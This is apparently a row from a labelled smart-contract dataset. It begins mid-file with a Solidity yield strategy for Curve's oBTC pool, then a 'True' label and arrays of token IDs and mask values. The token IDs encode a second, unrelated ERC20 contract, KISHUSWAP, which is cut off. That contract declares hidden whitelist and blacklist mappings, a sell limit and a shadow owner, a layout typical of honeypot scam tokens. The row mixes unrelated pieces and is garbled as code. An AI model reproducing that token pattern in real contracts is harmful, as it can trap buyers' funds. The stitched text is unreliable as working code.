}
// File: contracts/interfaces/curve/LiquidityGaugeV2.sol
interface LiquidityGaugeV2 {
function deposit(uint) external;
function balanceOf(address) external view returns (uint);
function withdraw(uint) external;
function claim_rewards() external;
}
// File: contracts/interfaces/curve/Minter.sol
// https://github.com/curvefi/curve-dao-contracts/blob/master/contracts/Minter.vy
interface Minter {
function mint(address) external;
}
// File: contracts/strategies/StrategyObtc.sol
contract StrategyObtc is StrategyERC20 {
// Uniswap //
address private constant UNISWAP = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// SushiSwap //
address private constant SUSHI = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
address internal constant OBTC = 0x8064d9Ae6cDf087b1bcd5BDf3531bD5d8C537a68;
address internal constant REN_BTC = 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D;
address internal constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address internal constant SBTC = 0xfE18be6b3Bd88A2D2A7f928d00292E7a9963CfC6;
// oBTC = 0 | renBTC = 1 | wBTC = 2 | sBTC = 3
uint private immutable UNDERLYING_INDEX;
// precision to convert 10 ** 18 to underlying decimals
uint[4] private PRECISION_DIV = [1, 1e10, 1e10, 1];
// precision div of underlying token (used to save gas)
uint private immutable PRECISION_DIV_UNDERLYING;
// Curve //
// liquidity provider token (Curve oBTC / sBTC)
address private constant LP = 0x2fE94ea3d5d4a175184081439753DE15AeF9d614;
// StableSwapSBTC
address private constant BASE_POOL = 0x7fC77b5c7614E1533320Ea6DDc2Eb61fa00A9714;
// StableSwapOBTC
address private constant SWAP = 0xd81dA8D904b52208541Bade1bD6595D8a251F8dd;
// DepositOBTC
address private constant DEPOSIT = 0xd5BCf53e2C81e1991570f33Fa881c49EEa570C8D;
// LiquidityGaugeV2
address private constant GAUGE = 0x11137B10C210b579405c21A07489e28F3c040AB1;
// Minter
address private constant MINTER = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0;
// CRV
address private constant CRV = 0xD533a949740bb3306d119CC777fa900bA034cd52;
// BoringDAO //
/*
BOR is rewarded on Gauge deposit, withdraw and claim_rewards
*/
address private constant BOR = 0x3c9d6c1C73b31c837832c72E04D3152f051fc1A9;
// flag to enable / disable selling of BOR on SushiSwap
bool public shouldSellBor = true;
/*
Best exchange for swapping tokens
CRV OBTC sushi
CRV REN_BTC uni
CRV WBTC uni
CRV SBTC n/a (1 inch)
BOR WETH sushi
WETH OBTC sushi
WETH REN_BTC uni
WETH WBTC uni
WETH SBTC n/a (1 inch)
*/
bool public disableSbtc = true;
address[2] private ROUTERS = [UNISWAP, SUSHI];
// index from underlying index to ROUTERS index
uint[4] public wethBtcRouter = [1, 0, 0, 0];
constructor(
address _controller,
address _vault,
address _underlying,
uint _underlyingIndex
) public StrategyERC20(_controller, _vault, _underlying) {
UNDERLYING_INDEX = _underlyingIndex;
PRECISION_DIV_UNDERLYING = PRECISION_DIV[_underlyingIndex];
// These tokens are never held by this contract
// so the risk of them getting stolen is minimal
IERC20(CRV).safeApprove(UNISWAP, uint(-1));
IERC20(CRV).safeApprove(SUSHI, uint(-1));
IERC20(WETH).safeApprove(UNISWAP, uint(-1));
IERC20(WETH).safeApprove(SUSHI, uint(-1));
// Minted on Gauge deposit, withdraw and claim_rewards
// only this contract can spend on SUSHI
IERC20(BOR).safeApprove(SUSHI, uint(-1));
}
function setShouldSellBor(bool _shouldSellBor) external onlyAdmin {
shouldSellBor = _shouldSellBor;
}
function setDisableSbtc(bool _disable) external onlyAdmin {
disableSbtc = _disable;
}
function setWethBtcRouter(uint[4] calldata _wethBtcRouter) external onlyAdmin {
for (uint i = 0; i < _wethBtcRouter.length; i++) {
require(_wethBtcRouter[i] <= 1, "router index > 1");
wethBtcRouter[i] = _wethBtcRouter[i];
}
}
function _totalAssets() internal view override returns (uint) {
uint lpBal = LiquidityGaugeV2(GAUGE).balanceOf(address(this));
uint pricePerShare = StableSwapOBTC(SWAP).get_virtual_price();
return lpBal.mul(pricePerShare) / (PRECISION_DIV_UNDERLYING * 1e18);
}
/*
@notice deposit token into curve
*/
function _depositIntoCurve(address _token, uint _index) private {
// token to LP
uint bal = IERC20(_token).balanceOf(address(this));
if (bal > 0) {
IERC20(_token).safeApprove(DEPOSIT, 0);
IERC20(_token).safeApprove(DEPOSIT, bal);
// mint LP
uint[4] memory amounts;
amounts[_index] = bal;
/*
shares = underlying amount * precision div * 1e18 / price per share
*/
uint pricePerShare = StableSwapOBTC(SWAP).get_virtual_price();
uint shares = bal.mul(PRECISION_DIV[_index]).mul(1e18).div(pricePerShare);
uint min = shares.mul(SLIPPAGE_MAX - slippage) / SLIPPAGE_MAX;
DepositOBTC(DEPOSIT).add_liquidity(amounts, min);
}
// stake into LiquidityGaugeV2
uint lpBal = IERC20(LP).balanceOf(address(this));
if (lpBal > 0) {
IERC20(LP).safeApprove(GAUGE, 0);
IERC20(LP).safeApprove(GAUGE, lpBal);
LiquidityGaugeV2(GAUGE).deposit(lpBal);
}
}
/*
@notice Deposits underlying to LiquidityGaugeV2
*/
function _deposit() internal override {
_depositIntoCurve(underlying, UNDERLYING_INDEX);
}
function _getTotalShares() internal view override returns (uint) {
return LiquidityGaugeV2(GAUGE).balanceOf(address(this));
}
function _withdraw(uint _lpAmount) internal override {
// withdraw LP from LiquidityGaugeV2
LiquidityGaugeV2(GAUGE).withdraw(_lpAmount);
// withdraw underlying //
uint lpBal = IERC20(LP).balanceOf(address(this));
// remove liquidity
IERC20(LP).safeApprove(DEPOSIT, 0);
IERC20(LP).safeApprove(DEPOSIT, lpBal);
/*
underlying amount = (shares * price per shares) / (1e18 * precision div)
*/
uint pricePerShare = StableSwapOBTC(SWAP).get_virtual_price();
uint underlyingAmount =
lpBal.mul(pricePerShare) / (PRECISION_DIV_UNDERLYING * 1e18);
uint min = underlyingAmount.mul(SLIPPAGE_MAX - slippage) / SLIPPAGE_MAX;
// withdraw creates LP dust
DepositOBTC(DEPOSIT).remove_liquidity_one_coin(
lpBal,
int128(UNDERLYING_INDEX),
min
);
// Now we have underlying
}
/*
@notice Returns address and index of token with lowest balance in Curve SWAP
*/
function _getMostPremiumToken() private view returns (address, uint) {
uint[2] memory balances;
balances[0] = StableSwapOBTC(SWAP).balances(0).mul(1e10); // OBTC
balances[1] = StableSwapOBTC(SWAP).balances(1); // SBTC pool
if (balances[0] <= balances[1]) {
return (OBTC, 0);
} else {
uint[3] memory baseBalances;
baseBalances[0] = StableSwapSBTC(BASE_POOL).balances(0).mul(1e10); // REN_BTC
baseBalances[1] = StableSwapSBTC(BASE_POOL).balances(1).mul(1e10); // WBTC
baseBalances[2] = StableSwapSBTC(BASE_POOL).balances(2); // SBTC
uint minIndex = 0;
for (uint i = 1; i < baseBalances.length; i++) {
if (baseBalances[i] <= baseBalances[minIndex]) {
minIndex = i;
}
}
/*
REN_BTC 1
WBTC 2
SBTC 3
*/
if (minIndex == 0) {
return (REN_BTC, 1);
}
if (minIndex == 1) {
return (WBTC, 2);
}
// SBTC has low liquidity, so buying is disabled by default
if (!disableSbtc) {
return (SBTC, 3);
}
return (WBTC, 2);
}
}
/*
@dev Uniswap fails with zero address so no check is necessary here
*/
function _swap(
// uniswap or sushi
address _router,
address _from,
address _to,
uint _amount
) private {
address[] memory path;
if (_from == WETH || _to == WETH) {
path = new address[](2);
path[0] = _from;
path[1] = _to;
} else {
path = new address[](3);
path[0] = _from;
path[1] = WETH;
path[2] = _to;
}
// NOTE: Uniswap and SushiSwap can be called with the same interface
Uniswap(_router).swapExactTokensForTokens(
_amount,
1,
path,
address(this),
block.timestamp
);
}
function _claimRewards(address _token, uint _tokenIndex) private {
// claim CRV
Minter(MINTER).mint(GAUGE);
uint routerIndex = wethBtcRouter[_tokenIndex];
address router = ROUTERS[routerIndex];
if (shouldSellBor) {
// claim BOR
LiquidityGaugeV2(GAUGE).claim_rewards();
uint borBal = IERC20(BOR).balanceOf(address(this));
if (borBal > 0) {
// BOR is available on SUSHI but not UNISWAP
_swap(SUSHI, BOR, WETH, borBal);
uint wethBal = IERC20(WETH).balanceOf(address(this));
if (wethBal > 0) {
_swap(router, WETH, _token, wethBal);
// Now this contract has token
}
}
}
uint crvBal = IERC20(CRV).balanceOf(address(this));
// Swap only if CRV >= 1, otherwise swap may fail for small amount of BTC
if (crvBal >= 1e18) {
_swap(router, CRV, _token, crvBal);
// Now this contract has token
}
}
/*
@notice Claim CRV and deposit most premium token into Curve
*/
function harvest() external override onlyAuthorized {
(address token, uint index) = _getMostPremiumToken();
_claimRewards(token, index);
uint bal = IERC20(token).balanceOf(address(this));
if (bal > 0) {
// transfer fee to treasury
uint fee = bal.mul(performanceFee) / PERFORMANCE_FEE_MAX;
if (fee > 0) {
address treasury = IController(controller).treasury();
require(treasury != address(0), "treasury = zero address");
IERC20(token).safeTransfer(treasury, fee);
}
_depositIntoCurve(token, index);
}
}
/*
@notice Exit strategy by harvesting CRV to underlying token and then
withdrawing all underlying to vault
@dev Must return all underlying token to vault
@dev Caller should implement guard agains slippage
*/
function exit() external override onlyAuthorized {
if (forceExit) {
return;
}
_claimRewards(underlying, UNDERLYING_INDEX);
_withdrawAll();
}
function sweep(address _token) external override onlyAdmin {
require(_token != underlying, "protected token");
require(_token != GAUGE, "protected token");
require(_token != BOR, "protected token");
IERC20(_token).safeTransfer(admin, IERC20(_token).balanceOf(address(this)));
}
}
// File: contracts/strategies/StrategyObtcWbtc.sol
contract StrategyObtcWbtc is StrategyObtc {
constructor(address _controller, address _vault)
public
StrategyObtc(_controller, _vault, WBTC, 2)
{}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6021,
1011,
2340,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
12943,
24759,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2340,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
2013,
1996,
20587,
1005,
1055,
1008,
21447,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-16
*/
pragma solidity ^0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract KISHUSWAP is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
